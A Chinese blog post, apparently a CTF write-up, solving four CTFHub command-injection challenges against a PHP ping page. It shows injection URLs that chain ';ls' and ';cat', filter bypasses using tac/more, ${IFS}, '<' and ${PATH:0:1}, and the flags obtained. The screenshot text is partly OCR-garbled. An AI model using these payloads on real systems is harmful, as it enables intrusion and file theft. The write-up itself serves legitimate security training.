CTF刷题记录CTFHub-RCE-命令注入

原创

山川绿水 ● 于 2021-07-24 21:07:47 发布 ● 284 ☆ 收藏
 分类专栏: <u>信息安全</u>
 版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/m_de_g/article/details/118929528</u>



信息安全专栏收录该内容

42 篇文章 2 订阅 订阅专栏

CTFHub-RCE-命令注入

**

1.无任何的过滤

一、解题思路

通过输入一些指令,利用某些特定的函数进行的操作,从而达到命令执行攻击的效果。

CTFHub 命令注入-无过滤 × -	+				
\leftarrow \rightarrow C C	O	器 ☆	lıı\ 🗊	4 5	
CTFHub 命令注	入-无过滤				
IP : Ping					
php</td <td></td> <td></td> <td></td> <td></td> <td></td>					
<pre>\$res = FALSE;</pre>					
<pre>if (isset(\$_GET['ip']) && :</pre>	<pre>\$_CET['ip']) { { {\$_GET['ip']}"; } }</pre>				
<pre>{/ (!DOCTYPE html) (html) (head) (title>CTFHub 命令注) (/head) (body)</pre>	入-无过滤				
<h1>CTFHub 命令注入-无过滤<td>'h1></td><td></td><td></td><td></td><td></td></h1>	'h1>				
<form <br="" action="#" method="GE"><label for="ip">IP <input <br="" type="text"/><input <br="" type="submit"/></label></form>	TT'> : id="ip" name="ip"> value="Ping">				
<hr/> >					

因为没有任何的过滤,那么我们可以直接使用分号(;)闭合前面的语句,执行ls命令

文件(F) 编辑(E) 查看(V) 历史(S) 书签	(6) 工具(1) 帮助(H)		
CTFHub 命令注入-无过滤 ×	+		
	Ω Ω shall appear 40 bb (b = 15 fd 0 = 2 of same dhow et fluide same 10800 / 2 in = 127.0.0.1 de	₩ <u>~</u>	
	Challenge-49bbbbc15id9esel.sandbox.clinub.com.10600/?ip=127.0.0.1;is	¥ ‰	

CTFHub 命令注入-无过滤

IP :
Ping
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => 137391798722228.php [2] => index.php)
php</td
<pre>\$res = FALSE:</pre>
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$cmd = "ping -c 4 {\$_GET['ip']}"; exec(\$cmd, \$res); }</pre>
▶ ① 查看器 ② 控制台 D 调试器 1 网络 {} 样式编辑器 ⑦ 性能 ②: 内存 吕 存储 1 无障碍环境 器 应用程序 ● HackBar
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -
Load URL http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls & Spirt URL
Execute Post data Referer User Agent Cookies Clear All

https://blog.csdn.net/m_de_g

通过执行ls命令可以看到,该目下的文件,这是linux环境下

root@modeng-virtual-machine:~ nodeng@modeng-virtual-machine:~\$ ls 公共的 谷歌插件 模板 视频 图片 文档 下載 音乐 桌面 google-chrone-stable_current_amd64.deb snap

如果是window环境下,使用命令dir查看目录文件

Microsoft windows [版本 10.0,1904.110] (c) Microsoft Corporation, 保留府有权利。	
C:\Users\Dell>dir	
驱动器 C 中的卷是 OS	
卷的序列号是 7093-4508	
C:\Users\Dell 的目录	
2021/01/11 14:52 < OIR>	
2021/01/11 14:52 < 0HR>	
2019/10/20 = 20.42 = 0.107 = 0.1160 has biotene	
2021/01/10 10:00 (1,103 .0851_01500)	
2021/00/16 15.25 DIR/0004a 0090/11/10 17:50 (DIR) config	
2020/0/1/12 12:50 (DIR) enline	
2021/07/10 16:22 39 attentia	
2019/10/20 19:40 (DTR) idlerc	
2021/04/03 21:53 <dir> . ipython</dir>	
2021/07/08 12:32 <dir> LDSBoxHypervisorGlobal</dir>	
2021/04/13 19:20 <dir> .matplotlib</dir>	
$2021/06/26$ 16:58 $\langle \text{DIR} \rangle$. p2	
2021/06/24 23:02 394 .python_history	
2020/08/27 14:17 <dir> .sonarlint</dir>	
2020/09/12 12:41 <dir> .tooling</dir>	
2021/04/06 10:21 (DIR) .VirtualBox	
2020/08/26 13:20 <dir> .vscode</dir>	
2021/04/24 10:07 (DIR> 3D Objects	
2022/01/15 13:18 250 al. py	
2019/12/12 23:05 10/ adds.py 0020/02 (10 19:19 10 cdm ar	
2020/00/10 16.16 190 adds, by	
202/01/10 - 20:46 11 dS1. py 2020/06/10 - 20:46 314 acrdust nv	
2020/06/10 20-10 014 dstarts.py	
2021/04/24 10:07 (DIR) Contacts	https://blog.csdn.net/m_de_g

CTFHub 命令注入-无过滤 ×	+		
\leftarrow \rightarrow C \textcircled{a}	♥ ^A challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php	器 ☆	lin 🗈 🕇 😽 👼 👼

CTFHub 命令注入-无过滤

IP:
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => [3] => \$res = FALSE; [4] => [5] => if (isset(\$_GET['ip']) && \$_GET['ip']) { [6] => \$cmd = "ping -c 4 {\$_GET['ip']}"; [7] => exec(\$cmd, \$res); [8] => } [9] => [10] => ?> [11] => [12] => [13] => [14] => [15] ->
□ 中 直看器 □ 控制台 □ 调试器 1↓ 网络 {} 样式編輯器 ○ 性能 ① 内存 吕 存储 育 无障碍环境 200 应用程序 ● HackBar
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -
Image: Load URL http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php Image: Split URL Split URL
Execute Post data Referer User Agent Cookies Clear All

我们使用cat命令读取index.php文件

http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php



	$ \begin{array}{c} \lfloor 4 \rfloor \Rightarrow \\ [5] \Rightarrow if \\ [6] \Rightarrow \\ [7] \Rightarrow \\ [8] \Rightarrow \} \\ [9] \Rightarrow \\ [10] \Rightarrow ? \\ [11] \Rightarrow \\ [12] \Rightarrow \\ [13] \Rightarrow \\ [14] \Rightarrow \end{array} $	<pre>f (isset(\$_GET['ip']) && \$_GET['ip']) { \$cmd = "ping -c 4 {\$_GET['ip']}"; exec(\$cmd, \$res); }</pre>					
R	○ 查看器	▷ 控制台 D 调试器 1 网络 () 样式编辑器 ① 性能 ① 内存 已 存储 常无障碍环境 2 应用程序 ● HackBar					
E	Encryption 👻	- Encoding - SQL - XSS - LFI - XXE - Other -					
	a Load URL	http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php					
) Execute	Post data Referer User Agent Cookies Clear All					

http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php 那我们也读取137391798722228.php这个文件试试

	💻 👿 📲 👻 🗠 👽 🐨 🐨 🐷			ono 🗕	2021/7/2
文件(F) 编辑(E) 查看(V) 历史(S) 书签	(B) 工具(T) 帮助(H)				— d
CTFHub 命令注入-无过滤 X	+				
\leftarrow \rightarrow C \textcircled{a}	○ 👌 challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php	器 ☆	III\ 🗉 🖪 🦘		

CTFHub 命令注入-无过滤

IP:	
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>	
php</th <th></th>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$cmd = "ping -c 4 {\$_GET['ip']}"; exec(\$cmd, \$res); }</pre>	
?>	
다. 🗘 查看器 🖸 控制台 🖸 调试器 📬 网络 {} 样式编辑器 介 性能 ① 内存 🖯 存储 🕇 无障碍环境 🧱 应用程序 🔮 HackBar	ć
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	-
Image: Split URL http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com;10800/?lp=127.0.0.1;cat 137391798722228.php	89*
Execute Post data Referer User Agent Cookies Clear All	

https://blog.csdn.net/m_de_g

查看页面源代码,可以得到flag

又件(L) 骗锅(L) 宣有(V) 历史(L) 书金		- 🖻 ×
CTFHub 命令注入-无过滤 X	http://challenge-49bb6bc15fd9e x +	
\leftrightarrow \rightarrow C C	🖄 view-source:http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.ph၊ 😭 🐘 🗈 🕇	• 💀 🖶 📎 📭 🚬 😑
2 <i>〈IDOCTYPE html〉</i> 3 〈html〉 4 〈head〉 5 〈title〉CTFHub 命令注入一定〕 10 〈form action="#" metho 11 〈form action="#" metho 12 〈label for="ip"〉IP 13 〈input type="text" 14 〈input type="text" 15 〈/form〉 16 17 〈hr〉 18 19 〈pre〉 20 Array 21 ([0] => PING 127.0.0 21 [1] => 〈?php // ct.	<pre>令往入-无过滤 无过滤 hod="GET"> IP: br> t[*] id="ip" name="ip"> imit" value="Ping"> 0.0.1 (127.0.0.1): 56 data bytes ctfhub [cc66683b123249ffacf728c8]</pre>	

24	
25	
27 <code></code>	
28 <?php \$res = 	<pre>FALSE;<b< pre=""></b<></pre>
29	
30	(92.) ^{* 3.1} K/s
31	190 K/s

二、知识点:

1、每个命令之间用(分号)";"隔开;

说明:各命令的执行结果,不会影响其他命令的。

意思是说每个命令都会执行,但不保证每个命令都执行成功。

2、每个命令之间用&&隔开

说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。 3、每个命令之间用II隔开

- 说明: ||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
- 4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
- 5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

**

2.过滤cat

**

一、解题思路

当cat被过滤后,可以使用一下命令进行读取文件的内容 (1)more:一页一页的显示的显示档案内容 (2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出tac是cat的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体的内容

直接使用分号(;)代替回车,执行ls命令

					LUL	1/1/25	
文件(1) 編輯(1) 查看(1) 历史(3) 书签(8) 工具(1) 帮助(1) CTFHub 命令注入-注意cat: x +							ľ
$\leftarrow \rightarrow \mathbb{C}$ a \bigcirc $\&$ challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls	嬲 ☆	lıı\ (D 4	• •	 8	P 🔊	≡
CTFHub 命令注入-过滤cat							^
IP : Ping							
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_124552338228659.php [2] => index.php)							1
php</td <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>							
<pre>\$res = FALSE;</pre>							
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/cat/", \$ip, \$m)) {</pre>							~

日本 白 査 希 器	☑ 控制台 D 调试器 1 网络 ()样式编辑器 ① 性能 ① 内存 吕 存储 育 无脑碍环境 3 应用程序	⊡ ••• ×
Encryption -	Encoding + SQL + XSS + LFI + XXE + Other +	Help!
a Load URL	http://challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls	
🐰 Split URL		11.
 Execute 	Post data Referer User Agent Cookies Clear All	

可以看到flag_124552338228659.php文件,那么我们可以直接使用cat进行读取

			2021/1/20
文件(E) 编辑(E) 查看(V) 历史(S) 书3	(B) 工具(D) 帮助(H)		– 🖬 🗙
CTFHub 命令注入-过滤cat X	+		
\leftarrow \rightarrow C \textcircled{a}	O 👌 challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_124552338228659.ph	hp 🎇 🏠 🔤 🖬 🖲 🖗) 🗈 🛛 =

CTFHub 命令注入-过滤cat

IP: Ping	
Array ([0] => Array ([0] => cat)	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; }</pre>	Ų
🕞 🗘 查看器 🖸 控制台 🗅 调试器 🚺 网络 {} 样式编辑器 介 性能 ① 内存 🗄 存储 🛉 无障碍环境 🧱 应用程序 🔮 HackBar	0 ··· ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Image: Load URL http://challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_124652338228659.php Image: Split URL split URL	11.
Execute Post data Referer User Agent Cookies Clear All	

https://blog.csdn.net/m_de_g

可是回显的是cat被过滤了,那么使用less或more试试

				2021/1/20
文件(F)編輯(E) 査査(M) 历史(S) 书弦(B) 工具(T) 帮助(H)				– a ×
CTFHub 命令注入-过滤cat X +				اسر وا
← → C 🟠 challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;less flag_124552338228659.php	<mark>器 ☆</mark> III、	II 4	S 🗔 🗖	🛞 IP 🞽 😑
CTFHub 命令注入-过滤cat				, ,
IP:				
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>				
php</td <td></td> <td></td> <td></td> <td></td>				
<pre>\$res = FALSE;</pre>				
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!prg_match_all("/cat/", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); } }</pre>				
□ 中 查看器 ② 控制台 □ 调试器 1 网络 {} 件式编辑器 ① 性能 ①:内存 目 存储 十 无隐碍环境 ○ 应用程序 ● HackBar				0 ··· ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -				Help!
Image: Load URL http://challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;less flag_124552338228659.php Image: Split URL Image: Split URL				16
Execute Post data Referer User Agent Cookies Clear All				

							_	9	Ť
CTFHub 命令注入-过滤cat	×	+							
\leftarrow \rightarrow C \textcircled{a}		O A challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;more flag_124552338228659.php ₿	# ☆		ч.	₅	8	IP 2	=

CTFHub 命令注入-过滤cat

IP: Ping	
Array ([0] => PING 127. 0. 0. 1 (127. 0. 0. 1): 56 data bytes [1] =>	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/cat/", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); } }</pre>	
다 中 查看器 D 控制台 D 调试器 1 4 网络 { } 样式编辑器 ○ 性能 10: 内存 日 存储 计 无障碍环境 2 2 应用程序 ● HackBar	⊡ ··· ×
Encryption + Encoding + SQL + XSS + LFI + XXE + Other +	Help!
Image: Coad URL http://challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;more flag_124552338228659.php Split URL Split URL	11.
Execute Post data Referer User Agent Cookies Clear All	

https://blog.csdn.net/m_de_g

查看页面源代码,可以得到flag

CTFHub 命令注入-过滤cat ×	http://challenge-bc2622eb46ed1x +	
\leftrightarrow \rightarrow C \textcircled{a}	ည် view-source:http://challenge-bc2622eb46ed1225.sandbox.ctfhub.com:10800/?ip=127.0.0.1;less flag_124552338228ြက် 🔝 💷 🦄 🐻 👼 🥹 🖻	2 =
1 (<i>JDOCTYPE html</i>) 3 (html) 4 (head) 5 (itle>CTFHub 命令注入-过润 6 (/head) 9 (h1)CTFHub 命令注入-过润 10 (form action="#" method 11 (form action="#" method 12 (label for="ip")IP 13 (input type="text" 14 (input type="submit 15 (/form) 16 17 (hr) 18 19 (pre) 20 Array 21 (21 [0] => PING 127.0.0. 21 [1] => (?php // ctf 22 [0] => PING 127.0.0 23 [1] => (?php // ctf 24) 25 (/pre) 26 (code)	EX-注鍵cat Ect l="CET") : :/label>Cbr> id="ip" name="ip") " value="Ping"> :! (127.0.0.1): 56 data bytes tube (0565335a5d5d00592dfce604) pr: #000000"> 008B*)<?php %res = FALSE<span style="color: #007</td><td>700″>;<br< td=""></br<></td>	700″>; <br< td=""></br<>

3.过滤空格

<

直接使用分号(;)代替回车,执行ls命令



CTFHub 命令注入-过滤空格

IP:	
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_806737515962.php [2] => index.php)	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_CET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/ /", \$ip, \$m)) { Send = "circo are 4 (\$ip)"; } }</pre>	v
다 🗘 查看器 🖸 控制台 D 调试器 1↓ 网络 {} 样式编辑器 ∩ 性能 10 内存 🗄 存储 뷲 无障碍环境 333 应用图序 🔮 HackBar	0 ··· ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Load URL http://challenge-ad78ec9bc41bc024.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls	
Split URL	11.
Execute Post data Referer User Agent Cookies Clear All	

可以看到flag_806737515962.php文件,那么我们可以直接使用cat进行读取

CTFHub 命令注入-过滤空	m × +								2
\leftarrow \rightarrow C \textcircled{a}	○ & challenge-ad78ec9bc41bc024.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_806737515962.php	器 ☆	lii\ 🗉	3 4	5 🗖	-	🛞 🖪	2	≡
CTFHub	命令注入-过滤空格								Â
IP :	Ping								
Array ([0] => Array ([0] =))	>								
)									
php</td <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>									
<pre>\$res = FALSE;</pre>									
if (isset(\$_GET[\$ip = \$ \$m = []	'ip']) && \$_GET['ip']) { _GET['ip']: :								~
□ ○ 查看器 ○ 招	潮台 D 调试器 ᡝ 网络 {}样式编辑器 🎧 性能 🕼 内存 😑 存储 肯 无趣碑环境 🧱 应用程序 🔮 HackBar							<u>n</u>	۰×
Encryption - Enc	oding + SQL + XSS + LFI + XXE + Other +							Н	elp!
Split URL	http://challenge-ad78ec9bc41bc024.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_806737515962.php								//.
) Execute	Post data Referer User Agent Cookies Clear All								

https://blog.csdn.net/m_de_g

可是回显的是空格被过滤了,那么使用<或\${IFS}试试





CTFH此 命令注入:过渡空情 x +							
← → C h O A challenge-ad78ec9bc41bc024.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat\$(IFS)flag_806737515962.php	器 ☆	II\ 🗉) t i	\$	8	IP	2 =
CTFHub 命令注入-过滤空格							^
IP : Ping							
Array							- 1
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>							
php</td <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>							
<pre>\$res = FALSE;</pre>							
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/ /", \$ip, \$m)) { \$cad = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); } }</pre>							
▶ ● 查看器 ② 控制台 〇 调试器 1 网络 {}样式编辑器 ① 性能 ① 内存 目 存储 十元隐碍环境 2 应用程序 ● HackBar						Ć	×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -							Help!
Image: Load URL http://challenge-ad78ec9bc41bc024.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat\$(IFS)flag_806737515962.php Split URL Split URL							1.
Execute Post data Referer User Agent Cookies Clear All							

https://blog.csdn.net/m_de_g

查看页面源代码,可以得到flag



当空格被过滤后,可以使用一下命令进行读取文件的内容
<<>>重定向符
%09(需要php环境)

{IFS}

[FS\$9

{cat,flag.php} //用逗号实现了空格功能

%20

4.过滤目录分隔符

<

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

CTFHub 命令注入-过雄目录分隔符 X +								
$\leftrightarrow \rightarrow \mathbb{C}$ $\widehat{\square}$ \bigcirc $\widehat{\boxtimes}$ challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls	器 公	hiv	4	•	8	IP	2	=
CTFHub 命令注入-过滤目录分隔符								î
IP:								
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_is_here [2] => index.php) (?php \$res = FALSE: if (isset(\$_GET['ip']) && \$_GET['ip']) {								~
□ ① 查看器 □ 控制台 □ 调试器 1 网络 {}样式编辑器 □ 性能 ① 内存 目 存储 计无障碍环境 器 应用程序 ● HackBar							വ …	×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other - Load URL http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;is							He	lp!

我们可以看到,使用逗号分隔符(;)结束前面的命令,成功执行ls命令,发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹呢,ls查看这个文件的内容

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

			—	đ	×
CTFHub 命令注入·过滤目录分隔符 × +					-
← C A Q A challenge-3ad858b96ca4705e.sandbox.ctfhub.com;10800/?ip=127.0.0.1;cd flag_is_here;ls Image: C	•	. .	8 1	P 🎽	
CTFHub 命令注入-过滤目录分隔符					^
IP : Ping					
<pre>Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_252412887014927.php) \$res = FALSE: if (isset(\$_CET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if ('preg_match_all("/\//", \$ip, \$m)) { </pre>					
\$cmd = "ping -c 4 {\$ip}";					~
□ ○ 査智器 □ 控制台 □ 调试器 1↓ 网络 () 样式编辑器 ○ 性能 ① 内存 日 存储 1↑ 无规碍环境 300 应用程序 ● HackBar				J	۰×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -				He	elp!
Control Contr					11.
Execute Post data Referer User Agent Cookies Clear All					

https://blog.csdn.net/m_de_g

发现该文件夹中有一个名为flag_252412887014927.php的文件

CTFHub 命令注入-过滤目录分隔符 × http://challenge-3ad858b96ca47 × +						
$\leftrightarrow \rightarrow \mathbb{C}$ $\widehat{\mathbb{C}}$ $\widehat{\mathbb{C}}$ challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat f*	lui\	I	• .	8 II	2 💌	≡
CTFHub 命令注入-过滤目录分隔符						^
IP : Ping						
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>						1
php</td <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>						
<pre>\$res = FALSE;</pre>						
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/\//", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); } }</pre>						~
□ 中 查看器 ⑤ 控制台 □ 调试器 1↓ 网络 {} 样式编辑器 ○ 性能 ① 内存 吕 存储 常无脑碍环境 謎 应用程序 ● HackBar					D •	•• ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -					H	lelp!
Load URL http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;od flag_is_here;cat f*						11.
Execute Post data Referer User Agent Cookies Clear All						

https://blog.csdn.net/m_de_g

我直接使用catf*读取文件,查看页面源代码,得到flag

CTFHub 命令注入-过途目录分隔符 X http://challenge-3ad858b96ca47 X +		2
$\leftarrow \rightarrow$ C $\widehat{\alpha}$ $\widehat{\&}$ view-source:http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat f* 😭 III 🗉 🛱 🥱 🖉 😵	IP 😕	

(IDCCTIFE html)
(thml)
(torm action="s" method="(GT)")
(label>(br)
(form action="s" method="(GT)")
(label>(spr)
(input type="submit" value="ping")
(form)
(for

>

<

方法二:

在linux的系统环境变量中\${PATH:0:/}代替/ http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1}

CTTHub命令注入-过滤目录分隔符 × +								2
$\leftarrow \rightarrow \mathbb{C} \widehat{\square} \qquad \bigcirc \widehat{\underline{\square}} \text{challenge-3ad858b96ca4705e.sandbox.} \\ \texttt{cffub.com:10800/?ip=127.0.0.1;k flag_is_here} \\ \texttt{PATH:0:1} \texttt{cffub.com:10800/?ip=127.0.0.1;k flag_is_here} \\ \texttt{flag_is_here} \\ f$	₩ ☆	hiv	4	•	 . ⊗	IP	2	≡
CTFHub 命令注入-过滤目录分隔符								^
IP : Ping								
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_252412887014927.php) php</td <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>								
<pre>\$res = FALSE;</pre>								
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/\//", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip!"; } }</pre>								~
□ 古香器 ② 控制台 □ 调试器 1↓ 网络 {} 样式编辑器 ① 性能 ① 内存 吕 存储 十 无脾碍环境 器 应用程序 ● HackBar						Q 1	<u>n</u> .	• ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -							H	albi
Load URL http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_ls_here\${PATH:0:1}								11.
Execute Post data Referer User Agent Cookies Clear All								

CTFHub 命令注入-辺雄目录分稱符 × +	
← → C ŵ 🗘 challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here\$(PATH:0:1)flag_25/ 器 ✿ 🔟 🖬 🐄 💀 💀 🖗 🖗 🖉	≡
CTFHub 命令注入-过滤目录分隔符	Â
IP: Ping	-
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>	1
<pre></pre> <pre>State</pre> <pre>ENTSE:</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!pre_match_all("/\//", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); } }</pre>	~
□ C ① 查看器 ② 控制台 □ 调试器 1 M 网络 { } 样式编辑器 □ 性能 ① 内存 日 存储 〒 无障碍环境 2 部 应用程序 ● HackBar	•• ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other - F Image: Load URL http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here\$(PATH:0:1)flag_252412887014927.php F Image: Split URL F F F F	

https://blog.csdn.net/m_de_g

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here\${PATH:0:1}flag_2524128 87014927.php

CTFHub 命令注入-过途目录分隔符 × 十			
← → C 🏠 Challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here\${PATH:0:1)flag_252 🗱 🏠 🔤 🕸	• •	🛞 IP	2 =
CTFHub 命令注入-过滤目录分隔符			
IP:			
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>			
<pre></pre>			
<pre>\$res = FALSE; if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("///", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); }</pre>			
□ □ 查看器 ② 控制台 〇 调试器 1↓ 网络 {} 样式编辑器 ① 性能 ① 内存 日 存储 计无路碍环境 3 应用程序 ● HackBar			ĵ ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -			Help!
Image: Coad URL http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here\${PATH:0:1}flag_252412887014927.php Image: Split URL Image: Split URL			11.
Cxecute Post data Referer User Agent Cookies Clear All			

查看页面源代码得到flag

XH() 编辑(E) 三有(V) 以史(B) 书立							-	a)	×
CTFH	ub 命令注入-过滤目录分隔符 ×	http://challenge-3ad858b96ca47 × +								
	ightarrow C C	🖄 view-source:http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here\${PATH	<mark>ዘ:0: </mark> ይ	\	4	5		8	P 🙎	≡
	html <html> <head> <title>CTFHub 命令招 </title></head> <body></body></html>	→一过滤目录分隔符								
	<h1>CTFHub 命令注入-过滤</h1>	目录分隔符								
	<form action="#" method<br=""><label for="ip">IP <input <br="" type="text"/><input get"="" type="submit
</form></td><td>="/> : </label> d="ip" name="ip"> / value="Ping"></form>									
	$\langle hr \rangle$									
	<pre></pre>	1 (127 0 0 1)· 56 data hytes								
	[1] => php // ctf</td <td>hub (3b8f0dfbe86a31408f7e61ba)</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	hub (3b8f0dfbe86a31408f7e61ba)								
) 									
	<code><span #00<br="" color:="" style="color: #00
